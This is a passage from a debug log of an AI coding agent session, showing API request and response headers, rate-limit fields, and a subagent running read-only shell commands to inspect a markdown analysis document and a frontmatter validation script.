[STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:31.082Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:31.085Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:31.097Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:31.100Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:31.103Z] [STDOUT]     },\n[2026-09-29T07:46:31.107Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:31.110Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:31.113Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:31.119Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:31.124Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:31.132Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:31.136Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:31.139Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:31.145Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:31.151Z] [STDOUT]     },\n[2026-09-29T07:46:31.154Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:31.157Z] [STDOUT]   },\n[2026-09-29T07:46:31.159Z] [STDOUT]   headers: {\n[2026-09-29T07:46:31.162Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:31.167Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:31.170Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:31.173Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:31.177Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:31.187Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:31.193Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:31.200Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:31.204Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:31.209Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1164\",\n[2026-09-29T07:46:31.214Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:31.219Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:31.223Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:31.229Z] [STDOUT]     \"x-client-request-id\": \"84421dae-7642-494e-87e1-0c8fee18a37f\",\n[2026-09-29T07:46:31.234Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:31.238Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:31.244Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:31.251Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:31.262Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:31.266Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:31.269Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:31.273Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:31.278Z] [STDOUT]   },\n[2026-09-29T07:46:31.281Z] [STDOUT] }\n[2026-09-29T07:46:31.285Z] [STDOUT] [log_3bd3cc, request-id: \"req_011CfXMqax5aBrQgJoBkA54c\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 856ms\n[2026-09-29T07:46:31.289Z] [STDOUT] [log_3bd3cc] response start {\n[2026-09-29T07:46:31.293Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.297Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:31.299Z] [STDOUT]   headers: {\n[2026-09-29T07:46:31.301Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:31.308Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:31.311Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:31.315Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:31.320Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:31.323Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.326Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:31.329Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:31.334Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:31.339Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:31.342Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:31.344Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:31.347Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:31.350Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.355Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:31.361Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:31.363Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:31.368Z] [STDOUT]     \"cf-ray\": \"a4295fdb5bb029ad-FRA\",\n[2026-09-29T07:46:31.376Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:31.379Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:31.381Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:31.385Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:31.387Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:31.389Z] [STDOUT]     \"request-id\": \"req_011CfXMqax5aBrQgJoBkA54c\",\n[2026-09-29T07:46:31.399Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:31.407Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:31.415Z] [STDOUT]     traceresponse: \"00-6e130c73efc8734594cf7b4451fdb26f-411ef783d68c1980-01\",\n[2026-09-29T07:46:31.422Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:31.430Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:31.438Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:31.446Z] [STDOUT]   },\n[2026-09-29T07:46:31.449Z] [STDOUT]   durationMs: 856,\n[2026-09-29T07:46:31.451Z] [STDOUT] }\n[2026-09-29T07:46:31.454Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:31.457Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:31.460Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:31.462Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:31.467Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:31.470Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:31.475Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:31.480Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:31.484Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:31.486Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:31.496Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:31.500Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:31.504Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:31.506Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:31.508Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:31.510Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:31.515Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:31.521Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.527Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:31.531Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:31.533Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:31.537Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:31.540Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.542Z] [STDOUT]   \"request-id\": \"req_011CfXMqax5aBrQgJoBkA54c\",\n[2026-09-29T07:46:31.546Z] [STDOUT]   \"traceresponse\": \"00-6e130c73efc8734594cf7b4451fdb26f-411ef783d68c1980-01\",\n[2026-09-29T07:46:31.549Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:31.553Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:31.558Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:31.561Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:31.563Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:31.566Z] [STDOUT]   \"cf-ray\": \"a4295fdb5bb029ad-FRA\",\n[2026-09-29T07:46:31.569Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:31.573Z] [STDOUT] [log_3bd3cc] response parsed {\n[2026-09-29T07:46:31.577Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.581Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:31.584Z] [STDOUT]   body: X {\n[2026-09-29T07:46:31.587Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:31.595Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:31.598Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:31.601Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:31.602Z] [STDOUT]     },\n[2026-09-29T07:46:31.605Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:31.606Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:31.612Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:31.617Z] [STDOUT]   },\n[2026-09-29T07:46:31.621Z] [STDOUT]   durationMs: 858,\n[2026-09-29T07:46:31.626Z] [STDOUT] }\n[2026-09-29T07:46:31.977Z] [INFO] {\n[2026-09-29T07:46:31.977Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"message\": {\n[2026-09-29T07:46:31.977Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"id\": \"msg_011CfXMqSJvRDDuXyZUQXzzG\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"content\": [\n[2026-09-29T07:46:31.977Z] [INFO]       {\n[2026-09-29T07:46:31.977Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"id\": \"toolu_01E2WbdYSobpTFSLYiaZvxeN\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"input\": {\n[2026-09-29T07:46:31.977Z] [INFO]           \"command\": \"f=projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; ls -la $f; grep -n '^#' $f; sed -n 1,90p $f\",\n[2026-09-29T07:46:31.977Z] [INFO]           \"description\": \"Read runtime options doc head\"\n[2026-09-29T07:46:31.977Z] [INFO]         },\n[2026-09-29T07:46:31.977Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:31.977Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:31.977Z] [INFO]         }\n[2026-09-29T07:46:31.977Z] [INFO]       }\n[2026-09-29T07:46:31.977Z] [INFO]     ],\n[2026-09-29T07:46:31.977Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:31.977Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_creation_input_tokens\": 1554,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_read_input_tokens\": 95317,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:31.977Z] [INFO]         \"ephemeral_5m_input_tokens\": 1554,\n[2026-09-29T07:46:31.977Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:31.977Z] [INFO]       },\n[2026-09-29T07:46:31.977Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:31.977Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:31.977Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:31.977Z] [INFO]     },\n[2026-09-29T07:46:31.977Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:31.977Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:31.977Z] [INFO]   },\n[2026-09-29T07:46:31.977Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"uuid\": \"dd0884eb-94f3-409a-8dbd-b5ab9649feff\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:31.961Z\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"request_id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:31.977Z] [INFO] }\n[2026-09-29T07:46:31.991Z] [INFO] {\n[2026-09-29T07:46:31.991Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"description\": \"Running Read runtime options doc head\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:31.991Z] [INFO]     \"total_tokens\": 97524,\n[2026-09-29T07:46:31.991Z] [INFO]     \"tool_uses\": 29,\n[2026-09-29T07:46:31.991Z] [INFO]     \"duration_ms\": 122692\n[2026-09-29T07:46:31.991Z] [INFO]   },\n[2026-09-29T07:46:31.991Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"uuid\": \"3ace4bc3-2272-4b60-bb73-26a0863e5b31\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:31.991Z] [INFO] }\n[2026-09-29T07:46:32.022Z] [STDOUT] [log_a5a6cf, request-id: \"req_011CfXMqe7pqmcgzYGGdD6ES\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 996ms\n[2026-09-29T07:46:32.027Z] [STDOUT] [log_a5a6cf] response start {\n[2026-09-29T07:46:32.035Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:32.043Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:32.047Z] [STDOUT]   headers: {\n[2026-09-29T07:46:32.049Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:32.052Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:32.055Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:32.059Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:32.062Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:32.066Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.070Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:32.079Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:32.089Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:32.093Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:32.103Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:32.109Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:32.114Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:32.118Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.126Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:32.131Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:32.135Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:32.140Z] [STDOUT]     \"cf-ray\": \"a4295fdff8164d8b-FRA\",\n[2026-09-29T07:46:32.143Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:32.146Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:32.153Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:32.157Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:32.163Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:32.171Z] [STDOUT]     \"request-id\": \"req_011CfXMqe7pqmcgzYGGdD6ES\",\n[2026-09-29T07:46:32.177Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:32.182Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:32.186Z] [STDOUT]     traceresponse: \"00-d6f91a1c8ca18f737aba6915aab400b0-fafe805587f6ce65-01\",\n[2026-09-29T07:46:32.195Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:32.201Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:32.217Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:32.227Z] [STDOUT]   },\n[2026-09-29T07:46:32.244Z] [STDOUT]   durationMs: 996,\n[2026-09-29T07:46:32.254Z] [STDOUT] }\n[2026-09-29T07:46:32.270Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:32.273Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:32.282Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:32.294Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:32.305Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:32.310Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:32.315Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:32.321Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:32.324Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:32.329Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:32.333Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:32.347Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:32.433Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:32.449Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:32.468Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:32.474Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:32.483Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:32.489Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.496Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:32.500Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:32.508Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:32.512Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:32.523Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.528Z] [STDOUT]   \"request-id\": \"req_011CfXMqe7pqmcgzYGGdD6ES\",\n[2026-09-29T07:46:32.530Z] [STDOUT]   \"traceresponse\": \"00-d6f91a1c8ca18f737aba6915aab400b0-fafe805587f6ce65-01\",\n[2026-09-29T07:46:32.549Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:32.568Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:32.578Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:32.584Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:32.597Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:32.607Z] [STDOUT]   \"cf-ray\": \"a4295fdff8164d8b-FRA\",\n[2026-09-29T07:46:32.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:32.619Z] [STDOUT] [log_a5a6cf] response parsed {\n[2026-09-29T07:46:32.622Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:32.628Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:32.632Z] [STDOUT]   body: X {\n[2026-09-29T07:46:32.639Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:32.648Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:32.652Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:32.665Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:32.675Z] [STDOUT]     },\n[2026-09-29T07:46:32.693Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:32.710Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:32.740Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:32.755Z] [STDOUT]   },\n[2026-09-29T07:46:32.766Z] [STDOUT]   durationMs: 997,\n[2026-09-29T07:46:32.771Z] [STDOUT] }\n[2026-09-29T07:46:32.778Z] [INFO] {\n[2026-09-29T07:46:32.778Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:32.778Z] [INFO]   \"message\": {\n[2026-09-29T07:46:32.778Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"id\": \"msg_011CfXMqbMt1iJxP7E3njG1m\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"content\": [\n[2026-09-29T07:46:32.778Z] [INFO]       {\n[2026-09-29T07:46:32.778Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:32.778Z] [INFO]         \"id\": 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{\n[2026-09-29T07:46:33.325Z] [INFO]     \"toolu_01M4jAFx9qrtRpxzhWwNZqoW\": {\n[2026-09-29T07:46:33.325Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"type\\\\|temperature\\\\|status\\\" tools/validate-frontmatter.sh | head -40; head -30 projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:46:33.325Z] [INFO]       \"description\": \"Check frontmatter rules and example\"\n[2026-09-29T07:46:33.325Z] [INFO]     }\n[2026-09-29T07:46:33.325Z] [INFO]   }\n[2026-09-29T07:46:33.325Z] [INFO] }\n[2026-09-29T07:46:33.860Z] [INFO] {\n[2026-09-29T07:46:33.860Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"message\": {\n[2026-09-29T07:46:33.860Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:33.860Z] [INFO]     \"content\": [\n[2026-09-29T07:46:33.860Z] [INFO]       {\n[2026-09-29T07:46:33.860Z] [INFO]         \"tool_use_id\": \"toolu_01E2WbdYSobpTFSLYiaZvxeN\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"content\": \"-rw-r--r-- 1 box box 77050 Sep 29 07:43 projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n19:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a 